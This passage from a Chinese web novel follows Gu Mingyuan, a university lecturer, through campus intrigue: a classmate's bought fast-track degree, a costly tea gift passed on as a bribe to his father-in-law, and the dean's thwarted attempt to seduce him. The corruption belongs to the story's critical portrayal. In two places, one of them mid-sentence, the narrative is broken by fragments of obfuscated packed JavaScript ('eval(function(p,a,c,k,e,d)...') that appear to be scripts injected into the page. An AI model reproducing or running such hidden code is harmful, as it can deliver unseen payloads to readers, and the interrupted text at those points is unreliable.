很快,吴雅娟的表情变得严肃起来:“明远,我劝你这几年赶紧把职务和职称搞上去,到时候分房是要算分的。” 顾明远的笔顿了一下:“职称没问题。至于职务,我看还是算了吧,这个教研室主任我早不想干了的。” 吴雅娟的眉头蹙了起来:“你又开始一根筋了。职称职务到时可以两边计分的。跟你说过多少次啦,有职务对评职称有好处的。你怎么开不了窍呢?” “人各有志。你为什么不能理解我对当官是真的没兴趣呢。”顾明远无奈地说道。 吴雅娟的火一下子上来了:“你这人真是有点不可理喻。道理讲了几年,就是不长进。嫁给你,到现在还得住在娘家坐月子,真是亏得慌。”说罢,倒头便睡,只将背影留给顾明远。 顾明远听说女人月子期间不能生气,便捺着火气不在说话,拿起一件衣服,一个人悄悄走道阳台上。望着外面零星的灯火,心中五味杂陈:古人讲“不为五斗米折腰”、“大庇天下寒士俱欢颜”,难啊。吴雅娟其实说的也未必有错。想到这些,顾明远走回房间里,拿起刚完成的论文初稿认真校对起来。是啊,未雨绸缪,至少得为职称提前做足准备啊。 29. 儒林宦海 女儿出生后,尽管有些轻微的产后综合征,但吴雅娟往日骄矜凌人的气势似乎收敛了不少,眼里的锋芒像一把收进鞘里的刀软和了不少,原来说话时总爱挑起的眉梢开始弯成了两抹温柔的弧。 对于吴雅娟的改变,顾明远看在眼里、喜在心头。他抱着那团温软的襁褓,彷佛是抱着一团沉甸甸的责任,忽然感觉到到了升为人父的自豪和满足,自然也有沉甸甸的牵挂和责任。他望着窗外的月光,忽然想起从前对林思齐不切实际的幻想,忍不住笑了起来,心中暗暗告诫自己回到现实,守好家庭。 这天,顾明远安排完教研室听课评课工作,桌上的电话铃声响了起来。 电话那头传来陌生中又有些熟悉的声音。顾明远一时想不起来,便故意不出声,沉默以对。对方耐不住性子,在电话里嚷了起来:“老同学,当了教研室主任,连老同学都不认得啦?” 顾明远最不喜欢这种拿腔拿调的做派,不客气地冒出一句“你到底谁啊”怼了过去。 当“何荣坤”三字从听筒里传来时,顾明远的脑海中豁然浮现出一个“人偶”般的形象来:一张几乎可以媲美几何图形的国字脸,喜欢把头发往后梳得油光水滑的大背头,说话时总喜欢从嗓子眼拖长音说出“这个问题嘛”的口头禅……。 没错,他就是顾明远楚江大学读本科时的室友何荣坤。表面上看,两人是“上下铺的兄弟”,但实际上并没有什么特别的交情。因为何荣坤有爱打小报告的毛病,顾明远甚至一直有意在疏远着他。大学毕业后,何荣坤选择了去省厅就职,顾明远则去了清北大学深造。从此两人几乎断了联系。期间唯一的一次通话是几年前何荣坤想组织一场同学会,顾明远找了个出差的借口拒绝了他。听马骉说,何荣坤在省厅做了主任科员,官架子越来越足,同学们私下里给他取了个“省里的领导”的绰号,好像他对这个绰号还挺满意的。 顾明远似乎对搞仕途的人有着天然的排斥。他弄不清这位“省里的领导”找自己有何贵干,只想早点结束这次通话。毕竟同学一场,表面上的热情和礼貌还是要给的:“荣坤,好久不见,你过得怎么样?” “好什么呀。不像你们在学校里悠闲,我倒是整天忙得晕头转向的。” 何荣坤的话让顾明远的热情减半,也不想曲里拐弯说些场面上的话,劈头问道:“老同学突然打电话来,是不是有什么事情要指教?” 何荣坤不为所动,在电话里显摆起前不久组织的一次同学会如何如何风光。其实顾明远早就从马骉嘴里知道了这次同学会的事,甚至连何荣坤在端架子摆谱时被马骉和蒋艳合伙捉弄的细节都了如指掌,只是没有心思在电话里戳穿,便一个劲地催着何荣坤有话直说。 何荣坤这几年在官场上早就修炼成了“我自岿然归动”的脸皮和和能力。正在东拉西扯说起了某某如何落魄、某某傍上大款这些无聊的话题,顾明远直接露出了不耐烦:“老何,我可以点也不悠闲,我得去教室上课啦。” 何荣坤这才道出来电的目的。他的语气多了些讨好式的柔和:“老顾,你们今年非全日制研究生快要开始了吧?” 因为前有蔡勋的铺垫,顾明远立即明白了何荣坤的用意:弄一张研究生文凭。顾明远对学校这些年扩招成教生增加办学收入的做法颇又微词,尤其对学院层层下压要求教研室每个老师必须完成招生指标的更是反感,为此没少在学院院务会上放炮,也没少受院长秦冰纶的批评。在顾明远看来,这是逼着教师不务正业的荒唐决策,这种没有教学过程的培养方式简直与“买卖文凭”没有区别。因为心里反感,中国古代史教研室每年成教招生任务完成的情况不好不坏,顾明远似乎很是知足,一点也没有赶上领头羊的意思。因为在职人员文凭需求旺盛,这些年找顾明远帮忙的人不在少数,有老乡、有同学、有七大姑八大姨的关系请托的,对此,顾明远是能躲的躲,能推的推,为此还得罪了不少人。 明白了何荣坤的心思后,顾明远有意打起了太极,意思是自己人微言轻未必能帮上这个忙。 何荣坤感觉到了老同学的冷淡,却不想就此罢休。他开始对现在政府机关流行“逢提拔必文凭”的做法大吐苦水,责怪自己只管埋头拉车干事被文凭拖了后腿……。 何荣坤讲得如泣如诉,顾明远听得昏昏欲睡。这些年,他没少听说一些政府官员为了升迁潮水般托关系走后门涌进高校赚得硕士博士文凭的奇闻轶事,只是没想到,自己的一位官员同学现在也要让自己牵线搭桥加入到这股流行的大合唱中。 看见老同学始终不松口,何荣坤抛出可以帮助争取课题经费的诱饵。顾明远的心弦动了一下,课题有助职称、职称有助分房。虽然吴雅娟经常嘲笑他的书呆子气,但顾明远并非糊涂昏聩之人。稍作迟疑后,顾明远勉强答应去找院里说项。 何荣坤并不满足,嬉笑着又说出了新的要求:“老顾,我可能没太说清楚,我并没打算拿历史学院的文凭。” 顾明远有些恼火,并不打算惯着他:“老何,你这都‘省里的领导’了,怎么说话还是当年那个半遮琵琶的毛病呢。再说,你本科就是历史专业,继续升级不是更有把握吗?” 何荣坤在电话里嗤笑一声,语气中多了几分讥诮:“老顾啊老顾,你这真是钻进故纸堆里出不来了。现在都什么年月了?市场经济主宰一切!历史学这种靠着死人骨头吃饭的学科,除了闻古人的屁还能干什么?经济学才是点石成金的显学。要读就该读能直接变现的,研究那些老古董难不成还能研究出钞票来?” 何荣坤的盛气和不屑彻底激怒了顾明远,他在心里骂道:你娘的自己就是学历史的,竟然还瞧不起历史学,这不就是数典忘祖的嘛。你当年就是个半吊子水平,历史学虽非人人热衷,但也轮不到你来轻视呀?心里骂完,嘴上也不客气:“我这个搞隐学的可帮不了你。你自己就是楚江大学毕业的,你想拿什么文凭就去找什么学院好了。何况你是‘省里的领导’呢。” 看见顾明远生了气,何荣坤不敢继续放肆,转而用央求的口吻说道:“财经学院那边我两眼一抹黑。老顾你和他们是同事,熟人熟路的,我只能仰仗老顾你呀。” 顾明远不想和何荣坤继续磨嘴皮子,再一看表离上课的时间也不远了,便答应“试试看”打发了他。 放下电话后,顾明远又有些气短起来:虽然来校五年了,但和财经学院真正打交道也是屈指可数的几次,而且还主要集中在钟德君还在财经学院的时候。想到这里,顾明远忽然灵机一动:对啊,孟超是财经学院的联系领导,钟德君又是孟超的心腹,找找他说不定能理出个子丑寅卯来。 谨慎起见,顾明远决定先找沈菊英了解了解当下成人研究生的行情。 出于绝对信任,秦冰纶一直将历史学院成教业务交给沈菊英操持打理。久而久之,沈菊英现在算得上成教领域的专家式人物。顾明远的求教让她颇为得意:“你这算是找对人了。”说罢,起身掩好房门压低声音问道:“你同学是想正经拿文凭还是不正经拿文凭?” 顾明远大吃一惊:“难道拿文凭还有正经不正经之分?” “你这都工作了几年,怎么还是眼里只有学问学问的呀。得了,看在吴校长的面子,我也不瞒你。”沈菊英瞟了一眼门口,将声音又压低了一分:“正经的,就是通过正规考试进入,踏踏实实完成所有课程学习和毕业论文,两年半后拿到研究生学历。这不正经嘛”,沈菊英忽然停了下来,望着顾明远问道:“你不会告诉你们家吴大小姐吧?” 顾明远知道沈菊英对吴雅娟没有什么好印象,赶紧将头摇得拨浪鼓似的。沈菊英这才故作神秘地说道:“只要他愿意出钱,一年就可以速成。” 顾明远惊得眉头一跳,眼睛瞪得溜圆,嘴巴半张着僵在那里,活像突然被人按了暂停键,好半天才从喉咙里挤出一个“啊”字,尾音颤悠悠的带着十二分的不敢置信。 沈菊英非常热情,主动表示只要钱到位其他事情都可以交给她来办,甚至明确告诉顾明远“近现代史方向”更容易操作的信息。 顾明远连忙将何荣坤想读财经学院金融学专业的想法说了出来。 “这样呀”,沈菊英手托着下巴皱起了眉头:“那得要过卓娅这一关啊。这可有点难办了。别的学院都好说,唯独这个财经学院这个卓娅太难搞了。她这人死板得很。” 顾明远不想让沈菊英为难。从她那里告辞后,顾明远径直往校园西南角的基建处去寻钟德君,希望能找到些答案。 刚绕过体育馆,正好看见钟德君正带着两个小年轻在巡查正在维修的步道,便顾不了许多,将他拉到一棵樟树下说话。 当顾明远吞吞吐吐地说出了自己的想法时,钟德君故意眯着眼睛打量了他半天后调侃道:“没想到清高的顾明远也要‘入世’‘拉皮条’了?” 顾明远一脚踹向钟德君:“你这家伙,说话总是怪声怪气的。说吧,你到底有没有办法?” “有没有办法?嗛,这话说得没有水平。我钟德君何时缺过办法?” 顾明远半信半疑:“真的假的?” 钟德君是个兜里只有几个钢镚都要抢着买单的人,在连襟加哥们的顾明远面前更不能丢了面子,他望着顾明远底气十足地反问道:“我只问你,财经学院的分管校领导是谁?” “孟超吧?不对,他应该是联系领导。” “你这榆木脑袋,这个时候计较‘分管’与‘联系’干嘛。告诉你吧,只要孟校长点头,此事就没有成不了的。” 顾明远知道卓娅的个性,有些担心地问道:“万一卓娅不买账怎么办呢?” “以孟校长的智慧,搞定她是分分钟的事情。”说到这里,钟德君压低了声音问道:“我只问你,你那位同学舍不舍得放血?” “什么意思?” 钟德君伸出五根手指头。 顾明远替何荣坤倒吸了一口凉气。 回到教研室后,顾明远有些信息不足,小心翼翼将数目告知了何荣坤,没想到何荣坤轻描淡写地说了句“小钱而已”。顾明远拿着听筒的手半天也没有放了下来,脑海里浮起一长串的问号:我一年下来也就三万来块钱,他一个小科长怎么会如此出手大方呢? 第二天,钟德君那边就传来了好消息:孟超答应促成此事,甚至主动提出可以适当减免费用。好事来得如此轻松容易,反而让顾明远心里犯起了嘀咕。一番紧追慢问,钟德君总算透露了底细:何荣坤所在的厅局正是楚江大学正在规划的教工宿舍楼的审批机构之一。 顾明远有些恍然。心里正在纠结要不要在何荣坤面前为自己表表功,钟德君的电话追了过来,说是孟校长想见他。 孟超一直着急想将自己头上的校长助理转成副校长,做一个名正言顺的副厅级省管干部。副校长和校长助理,表面上看都是学校领导,实则差着十万八千里。校长助理说到底不过是个正处级,属于校内干部;副校长则是名正言顺的副厅级,属于省管干部,是将来晋升校长的必经之路。孟超并不担心许继武的支持,他担心的是许继武内向型性格和被动式的处事风格,自己这顶校长助理的帽子还会旷日持久地戴下去。焦虑之下,有人提醒他可以打打老校长吴若甫的主意。理由是吴若甫的副省长同学最近进入了常委的行列,说话的份量比以前要重了许多。现在,吴若甫的女婿有事求自己帮忙,这倒是一个可以借力的机会。 顾明远刚一进门,孟超特意从抽屉里拿出一个精致的青花瓷小罐递给钟德君:“顾主任是稀客,你把这个‘大红袍’开了给顾主任泡上”。钟德君把玩了半天,故意带着点醋意说道:“还是顾老师面子大,这应该是顶级的‘大红袍’吧?” “什么顾老师?顾主任更有档次嘛。”孟超嗔了钟德君一句。 顾明远的脸立刻红了起来,他实在不明白:在学校里,为什么一个教研室主任的头衔比老师更有档次?他不想要这样的档次,便有些郑重地说道:“孟校助还是叫我小顾好了。” 没想到钟德君一脸正经地批评起顾明远来:“什么校助校助,明明就是孟校长的嘛。” “别废话啦。顾主任这叫实事求是嘛。可不就是个校助而已。”钟德君有些不明白孟超的意图,便不敢轻易接话,转身开封了“大红袍”给顾明远泡上。 孟超刻意的热情让顾明远有些不自在。好在家里没少受吴雅娟“填鸭式”的教导,硬着头皮也能勉强应付。嘬了一口香气扑鼻的茶汤,顾明远硬着头皮说出了帮忙的请求。 孟超似乎兴不在此,右手一摆:“这都不算个事,到时我让分管的廖副院长抓紧办就行了”。说罢,让钟德君退出,将顾明远留下来单聊。 孟超详细地向顾明远打听起何荣坤的性格、爱好以及现在所在的处室。顾明远其实对何荣坤并不十分了解,只能如实地将自己所知说了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟超看了顾明远一眼,有些得意地说道:“明远,这是我托人找了盒二十年的普洱。吴校长胃一直不太好,这个据说养胃的效果极佳……。”说完,孟超小心翼翼将盒子恢复原状,拍着顾明远后背说道:“明远,我出面不太方便,你替我将这点心意转给吴校长好了。” 顾明远推脱了半天,看见孟超面露不悦的颜色,生怕将何荣坤的事情弄黄了,只好勉强接过盒子。他不敢径直送到吴若甫家,便先回到家里找老婆吴雅娟寻些主意。 吴雅娟一看盒子笑了起来:“看来他是有重要的事情要求老爸了。反正也不会是他自己花钱的,不要白必要。吃完饭后你给老爸送过去。” 顾明远出于好奇随口问道:“就一盒茶叶而已吧。” 吴雅娟嘴角处噙着三分冷笑:“你说得轻巧。你知道这个盒子值多少?” 顾明远摇了摇头。 吴雅娟伸出两根手指。 顾明远惊叫起来:“两千?” 吴雅娟“扑哧”笑出声来:“要不说你是乡下人呢。两万知道的吧?” 顾明远惊得下巴颏险些要砸到脚背上。生怕岳父会责怪自己,有些焦急地说道:“这也太贵了。要不我还是赶紧退给他吧?” 吴雅娟却诡异地笑了起来:“别又呆子气啦。孟超是个精明过头的家伙,你以为他是白送呀。他这事要找老爸帮忙的呢。我前些时候听老爸提起过,他一直想转成副校长的。估计八成为了这事。再说,孟超现在风头正劲,将来如果当了校长,那还不会记住爸爸的好,这对你将来的发展也有好处呀。你现在如果退了回去,那不是打他的脸了嘛,还不如做个顺水人情。” “你爸万一怪罪我呢?” “不是还有我呢嘛。放心吧。不过呢,我倒是提醒你,孟超之所以让你转交,无非是想让你再老爸面前替他美言几句。这就是个动嘴皮子的事情,到时候你帮他说几句好话得了。” “唉。为什么总是要我做违心的事呢。” “呆子,说点违心的话会让你掉几两肉哇。我倒是觉得你有些方面就是应该向钟德君学习学习,你看他满嘴谎话说得多利索。” 顾明远对吴雅娟一直有意无意地嗦动自己仕途精进的做法非常反感,干脆摆出一副油嘴滑舌的样子:“好啊,你都这么说了,那我就跟他学学怎么吃喝嫖赌吧。” 吴雅娟气得抄起身边的痒痒挠就打在顾明远的手上,趁机又开始了“相夫”教育。这些年在父亲耳濡目染下,虽然文化水平不高,但吴雅娟肚子里还是积蓄了不少诲婿封侯的“真经”。她重重地将准备离开的顾明远按在椅子上,开始了一本正经的开导:“我爸常说,‘讲台三尺,能教化百人;官印一方,可造福万民’。你应该比我更懂这句话的意思吧?” “我爸当年也和你一样,觉得教书才是本分。可后来他明白了——清高救不了穷学生,权力却能建起新校舍。” “独善其身是君子,兼济天下是圣贤。以你顾明远的才华,你甘心一辈子甘居人下做个‘两袖清风’的穷教授?” ………… 看着平时粗门大嗓、直白浅易的吴雅娟竟然讲出如此高论,顾明远惊讶的同时,却一点也高兴不起来,反而觉得眼前这个和自己一起生活了三年的枕边人实在陌生得有些可怕。他想逃出房间,却对吴雅娟的满脸的严肃十分忌惮。 自从女儿出生以后,吴雅娟似乎进一步加大了对丈夫精进仕途的强化培训,理由冠冕堂皇得可笑:嫁汉嫁汉穿衣吃饭,顾明远有义务保证她的一生锦衣玉食、荣华富贵。 顾明远忍不住调侃起来:“以你今天的水平,不去以身试法谋个处长,实在有些屈才了。” 吴雅娟知道顾明远是在讽刺自己,扬起剑眉说道:“我要是有你的学历和才华,肯定不会放过任何机会。” “没关系,你有万能的老爸呀。” 吴雅娟有些生了气:“你别又开始狗咬吕洞宾不识好人心了哈。我说这些为什么?亏你是搞历史的,古代有多少夫贵妻荣的传说,你不知道?” 顾明远趁机反击:“那你也应该知道有一句‘悔教夫婿觅封侯’的古诗吧?明知道行政权肮脏险恶,你还要把老公往火坑里推?”说罢,又有些正色道:“我们就是一普通人家,能够衣食无忧就够啦。再说,你有工作,我踏踏实实做一个老师,难道还会担心生活?” 吴雅娟翻了个白眼:“你懂个屁。你如果有个一官半职,将来不晓得有多少便宜的。一个教书匠,谁会求你呀?” 顾明远觉得再这样下去纯属鸡同鸭讲,浪费时间。正好女儿顾安然在摇椅里醒了,小家伙睁着圆溜溜的眼睛,肉乎乎的小手在空中乱抓,嘴里奶声奶气地咿咿呀呀……。这一切,瞬间熔化了顾明远心中的不快,抱起女儿在小脸蛋上一顿猛亲后像是自言自语地说道:“你爸这双手啊批不了红头文件,倒是将来可以给丫头扎扎小辫、搭搭积木的嘛。” 吴雅娟知道顾明远话中有话,气得杵了一下他的后背说道:“看看我们现在住的这个破地方。你就是个不开窍的二百五。” 30. 欲壑难填 连日来,秦冰纶心头仿佛压了一块沉铁。表妹林思齐与许达濠的婚事,原是她一手促成,如今却成了一桩难以启齿的痛。才不过一年光景,两人的姻缘几乎要走到对簿公堂的边缘,实在令人唏嘘。 林思齐从未对她说过半句怨言。越是如此,秦冰纶心头那把愧疚的刀便磨得越锋利,有时恨得自己指甲几乎掐入皮肉,仿佛唯有如此,方能抵消心中万一的悔恨。许达濠原是个金玉其外、败絮其中的纨绔子弟,胸无点墨不说,终日流连风月场所挥金如土。回家后动辄对林思齐呼来喝去,有时甚而拳脚相向。每思及此,秦冰纶便心如刀绞,觉得是自己亲手将温婉柔顺的表妹推入了一个虎狼之穴。 更教她愤懑难平的是,许继武之妻钱曼莉竟然三番五次来电,言辞咄咄要秦冰纶为许达濠的婚姻“负责”。每每接完电话,素来以优雅自持的秦冰纶都气得连“婊子养的”汉骂都飙了出来。骂归骂,想想自己实现进入校领导班子的梦想还攥在这对夫妻手中,秦冰纶也只得强压下心头怒火,一个劲地对钱曼莉赔小心说好话。 此刻的秦冰纶恰似立在悬崖边缘:一面是对表妹深入骨髓的愧疚,恨不能立时将她救出苦海;一面又是自身前途攸关,不得不对许家虚与委蛇。这种自相矛盾的折磨,几乎将她撕裂得人格分裂。 表妹的婚姻一地鸡毛的同时,秦冰纶自己的婚姻也亮起了红灯。自从劳力出国近年不归后,秦冰纶心里已然清楚,两人的婚姻如今只剩下一纸名分,如同挂在墙上的旧年历,看似存在,却早已无人翻阅。然而,即便是这般名存实亡的婚姻,秦冰纶也必须牢牢攥在手中。多年的仕途历练让她比谁都清楚,一纸婚书在体制内的分量——那不仅是个人生活的遮羞布,更是衡量一个干部是否“稳重可靠”的隐形标尺。她见过太多因为婚姻变故而止步不前的人,那些闲言碎语、那些意味深长的目光,足以将一个有为者的前途一寸寸蚕食。于是,秦冰纶愿意咽下所有失落,将那份对温情脉脉的渴望深深锁进心底。每当有人问起,她总是弯起恰到好处的嘴角,轻声说一句“都挺好”。这轻描淡写的三个字背后,藏着一个仕途女人清醒的权衡与不得已的承受。这些年来,她像守着一座早已熄灭的壁炉,明知不会再有一丝暖意,却仍固执地往里添柴——仿佛那些形式上的木炭,能伪装出温度尚存的假象。沈菊英、江鸥影她们不止一次地劝过让这种要死不活的婚姻入土为安,秦冰纶却有自己的想法:对于自己这样要强的女人来讲,结婚证至少意味自己没被抛弃;尤其对于在仕途上尚有追求的自己来讲,结婚证更是屏蔽流言蜚语的防弹衣和护身符。 但是,就在上周,这样的卑微的冀望被劳力的一通越洋电话彻底打破。 劳力明确提出离婚。 放下电话的秦冰纶如遭雷击。手指无意识地绞紧了真丝睡袍的腰带,勒得掌心发疼都浑然不觉。这个在校园里杀伐决断的风云女人,此刻觉得自己简直就像个被突然宣布不及格的学生,心里的怒火和压力发酵成了无边的空虚和寂寞。 整整一周,秦冰纶拉着闺蜜沈菊英一起疯狂地逛街购物、卡拉OK,但是一切都于事无补。回到空荡荡的家后,空虚和寂寞更是像洪水猛兽般吞噬着自己。 夜深人静时,秦冰纶对着镜子涂抹口红,指尖微微发抖,却偏要扬起下巴,仿佛在演练一场急需的胜利来掩盖离婚的伤痕。 是啊,她急需用新的刺激来填补内心的空虚、来证明自己的魅力。 她重新将目光投向了与老公劳力神形兼似的顾明远身上。 这几年来,因为顾明远的不解风情,更因为吴若甫父女的强大威慑,秦冰纶对顾明远从求之不得到弃之不顾,这样的心路历程只有她自己最为清楚。现在,老公的无情背弃以及林书锦的一味顺从,让秦冰纶决定冒险一试。 闸门一旦开启,秦冰纶心中积压多年的欲望再次如同春日桃花汛,一浪高过一浪,激荡着她的心扉,难以平息。 她听说吴雅娟患有产后综合征,特意找到医生朋友进行专业咨询。当听说女人患上这种病症□□会大幅下降后,秦冰纶心中暗自涌动起一丝窃喜:说不定顾明远此刻正身处一个微妙的焦渴期呢。 这天院务会刚一结束,沈菊英按照秦冰纶的授意将顾明远拉到了办公室,神秘兮兮告诉院长今天生日的消息。 顾明远想都没想便说出了买个蛋糕的想法,却遭到了沈菊英的嗤笑:“秦院长会稀罕一块蛋糕?” 顾明远顿时没了主意。 沈菊英趁机说道:“秦院长这些年明里暗里可是帮了你不少忙,我建议晚上小范围搞个聚会替秦院长庆生。” 沈菊英的话似乎并不过分。顾明远虽然心里有点自命不凡,但来自秦冰纶的关心还是能够感同身受的。搞个生日聚会倒是自己表达谢意的一个机会,纠结的是这事要不要知会吴雅娟一声。现在的吴雅娟,对顾明远下班后的一举一动盯得简直是“如胶似漆”。只要顾明远下班后没有准时回家,吴雅娟都会直接杀到办公室“突击检查”,有一次正好顾明远和一帮学生在讨论毕业论文,吴雅娟破门而入,结果引来学生们的一阵窃笑,弄得顾明远回家后向吴雅娟提出了“以后查岗提前预约”的通牒。 沈菊英看出了顾明远“惧内”的心理,笑嘻嘻地给他支招说是院里有接待任务。 按照沈菊英的交代,顾明远给吴雅娟打去了电话。果然,吴雅娟开口第一句问道:“秦冰纶参不参加?” 沈菊英在一旁吐着舌头嗤笑。自尊心受到刺激的顾明远梗着脖子给了个否定的答案,又觉得还不够雄壮,当着沈菊英面用开玩笑的口吻对着话筒说道:“你也不至于这么敏感嘛。未必还能吃了谁不成?” 吴雅娟没好气地说了句“你知道什么叫黄鼠狼给鸡拜年吧”便挂断了电话。 沈菊英拍了拍顾明远的肩膀“哟呵,小顾现在腰杆硬了嘛。”说罢,告诉他宴请的所有事情由院办安排,他只要人去了就行。 吴雅娟的产后综合征一直不见好转,不仅疑心重,有时还好走极端,前不久因为顾明远有一笔论文指导费没有及时上交,吴雅娟将刚给他织的毛衣绞了个稀碎。想起沈菊英闪烁游移的目光和吴雅娟电话里的警告,为了稳妥起见,顾明远决定给好哥们打个电话以防出现万一。 刚要拿起话筒,马骉的电话却先打了进来。顾明远忍不住笑了起来:“看来我们哥俩真是心有灵犀啊”。 马骉在电话里嬉皮笑脸地让顾明远猜打电话的原因。 顾明远怼道:“别婆婆妈妈的,我可没闲工夫和你猜哑谜。” 马骉藏不住话:“你老婆刚给我打了电话。” 顾明远心中大惊,立刻猜出了吴雅娟的意图,便没好气地说道:“是让你盯梢的吧?” 马骉趁机端起了架子,假装在电话里自言自语道:“你说我去不去呢?” “去呀,干嘛不去呢。吴雅娟应该给你好处费了嘛。” “你各人自个的婆娘自己不清楚?她可是只管布置任务,不管经费的。怎么样?老顾,如果你能出个车马费和餐饮费,我是可以帮你打打掩护的哦。” “掩护?”马骉的这个词正和顾明远心意,便赶紧将自己想好的一套战术给马骉交代起来,并许诺晚上请他宵夜。 “的士”绕着来望山转了两圈,总算找到沈菊英给的地址——“半溪酒家”。 推开酒家的木门,大厅简直就是一座微缩的江南:一道玲珑木桥横跨清浅水渠,桥下流水潺潺,几尾红鲤悠然摆尾,搅碎了一池浮动的灯影。水边错落摆着几块青苔石,石缝间偶有细小的水珠溅起,在木质地板上映出斑驳湿痕,像是时光不经意滴落的墨迹。 这样诗意的布设让顾明远心中的紧张顿时消减了几分。他被水渠后面墙上的错落有致的图片吸引了目光。走进几步后发现上面竟是同一个女人的“江湖”,照片有敦煌沙漠的落日、大理古城的晨雾、京都枫叶下的茶寮……,最为瞩目的是,每张照片旁都缀着几行娟秀小字,全是主人游记当时的心境。一张在拉萨拍的照片下写着“酥油茶喝到第三碗,才懂得高原的冷,是连阳光都捂不热的。”另一张摄于徽州老宅的照片下写着“瓦当上的青苔,比人更懂岁月。”…… 这让顾明远对半溪酒家的印象一下子好了起来。正在沉浸其中,远处忽然有人招呼自己。顾明远抬眼望去,秦冰纶和照片中的女人正在一排书架前面向自己招手。 抵近看时,顾明远不免有些失望,照片女人脸上的雀斑像是被顽童甩了一笔褐墨,几乎密麻得要遮住了脸部的底色。女人似乎很是知趣,起身将秦冰纶和顾明远送进走廊尽头的房间后便自行离开。 房门打开时,顾明远的心猛地一沉:阔大的包房里空无一人。 秦冰纶杏眼上长长的睫毛像蝴蝶翅膀一样眨动,星眸在灯光下闪烁着粼粼的波光。 顾明远本能打了个寒战,眼睛不自觉地向门外瞟去。 顾明远依稀记得秦冰纶下午上班时穿的是米色薄毛衣配牛仔裤,现在却换上了一条猩红色的紧身连衣裙,躯体像是一根精心包装的火腿肠。连衣裙的领口开得略深,露出一截若隐若现的沟壑——只可惜岁月不饶人,沟壑两侧的胸脯已经微微松垂……。 此刻的秦冰纶一点也没有工作场合的威严架子,她轻轻撩起裙子的下摆在原地旋了一圈后瞟了顾明远一眼,意思是“很有女人味的吧”。 顾明远不敢直视,只觉得鼻子被风卷起的浓烈的香水刺激得奇痒难耐。 他顾不了许多,直突突地问道:“沈主任她们呢?” 秦冰纶胸有成竹,不慌不忙地说道:“沈主任临时接到任务,恐怕得晚些到”,说罢,杏眼灼灼地看定顾明远:“怎么?不能和我独处的呀?”说着,假装不经意将顾明远按在沙发上坐下。 顾明远触电般起身坐到了旁边的硬板椅上。脑袋里翻江倒海,盼望马骉能够神兵天降赶过来拯救自己。 随着各种精致的菜肴川流上桌,顾明远心里愈发着急,几次探起身子问道:“沈主任她们应该快到了吧,要不我去打个电话催催?” 秦冰纶吃吃笑了起来:“既来之则安之嘛。沈主任该来自然会来的。” 顾明远假装肚子不舒服要去一趟洗手间,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦冰纶起身刻意调暗了房间的灯光,暖黄的光线像融化的蜂蜜般黏稠地流淌在每一寸空间里。她举起高脚杯,澄碧的酒液沿着杯壁旋转,映照着她精心涂抹的唇彩。她的目光越过杯沿,牢牢锁定在对面的顾明远身上。 “明远,这里就我们两人,你那么拘谨干嘛?”秦冰纶的声音低沉中带着一丝刻意的沙哑,同时不动声色地将椅子向他那边挪了半尺。 顾明远的喉结上下滚动了一下,手指无意识地摩挲着酒杯底座。他身上已经开始蠕动着汗珠,但不敢轻易解开脖颈处衬衫的扣子,生怕引起秦冰纶的误会。 秦冰纶借着倒酒,身体前倾,衣领下的沟壑若隐若现。注意到顾明远的目光慌乱地避开,这更勾起了她胸腔中郁积了数年的灼热岩浆。秦冰纶突然伸出右手按住顾明远的手腕,拇指在他脉搏处轻轻摩挲起来……。 就在这千钧一发的时候,门外响起了敲门声。 秦冰纶的身体像被弹弓射出去一样,“嗖”地从顾明远旁边跳开。手忙脚乱地整理好衣服和发饰后,佯作镇定地问道:“请进。” 顾明远其实已经透过门上的磨砂玻璃瞅见了那个走路带风的熟悉身影,他端起酒杯故意提高嗓门向秦冰纶敬酒,目的就是引起敲门人的注意。 门被一把推开,马骉魁梧如塔的身躯已经屹立门口,笑道:“哎哟,真是老顾你啊?” 顾明远故意惊讶得从椅子上跳了起来:“哎呀,怎么是你啊?” 马骉天神般的降临让久经沙场的秦冰纶感到一股热血直冲太阳穴,愤怒的岩浆在体内奔涌,恨不得抓起那瓶清酒砸向马骉的脑袋。 马骉故意嬉皮笑脸地望着秦冰纶说道:“秦院长,我来的不是时候吧?” 马骉的声音像是一把冰刀刺醒了秦冰纶。经过顾明远的一番介绍,秦冰纶这才想起,去年在顾明远的办公室里和这个名唤马骉的黑塔大汉见过一面。秦冰纶心中早已怒火熊熊,此刻也只能用嘲讽的口吻来发泄自己的愤怒:“哎哟,马老师和顾老师竟然能在这么偏僻的地方相遇,你俩挺有心灵感应的嘛。” 顾明远看出了秦冰纶的不满,赶紧给马骉使了个眼色。马骉心领神会,一边道歉一边解释:“秦院长别误会。这纯属是误打误撞,我的两个学生参加省里的比赛获奖,我带他们过来庆祝一下。”觉得自己的谎话编得还不够严密,马骉又补了一句:“我家就住在附近,离这里不到两百米的距离,要不一会秦院长去寒舍坐坐?” 秦冰纶意识到自己精心策划的浪漫一夜要被马骉搅得稀碎,心里早就彻底凉透。她已经一刻不想在此停留,语气平静中有些冷淡:“没事,我今天和顾老师是一起商量课题的事情,你来得也好,我们该商量的已经商量得差不多了,我呢,正好还有另外一场活动,就把顾老师交给你吧。” 不等顾、马二人搭话,秦冰纶抓起架子上的皮包,头也不回地离开了。高跟鞋在大理石地面上敲出一串惊慌而又急促的响声。 顾明远扑上前来给了马骉一个大大的拥抱。这一幕,远远地被大厅里的老板娘看在了眼里。 马骉可没空管这些,看到满桌的美味佳肴,赶紧就给外面的学生招了招手,两个小子“呼啦”一下涌了进来。看着桌上那些色香味俱全的美味佳肴,口水早就要从嘴角里流了出来。只片刻工夫,四人风卷残云,很快将桌上的美酒佳肴扫荡了一干二净。 31. 暗流涌动 申办年会莫笑非整出的幺蛾子如同一根辫子,牢牢攥在许继武手中。他屡次在不同场合有意无意地提及此事,让校长周濂如鲠在喉,十分难堪。随着共事时间的推移,周濂时常感到一种深切的无力。他的动议明明得到了许继武的首肯,但在推进时,那些分管副校长和部门负责人总能找出各种冠冕堂皇的理由推诿拖延,让一校之长的指令好像全力挥出的拳头砸在软绵绵的棉絮上。对此,周濂心知肚明,这一切的背后都有许继武无形的操控。虽然心中满是愤怒,但鉴于此前匿名信风波带来的尴尬,周濂不敢再轻举妄动,只能将憋屈与不满默默咽下,等待将来清算的时机。 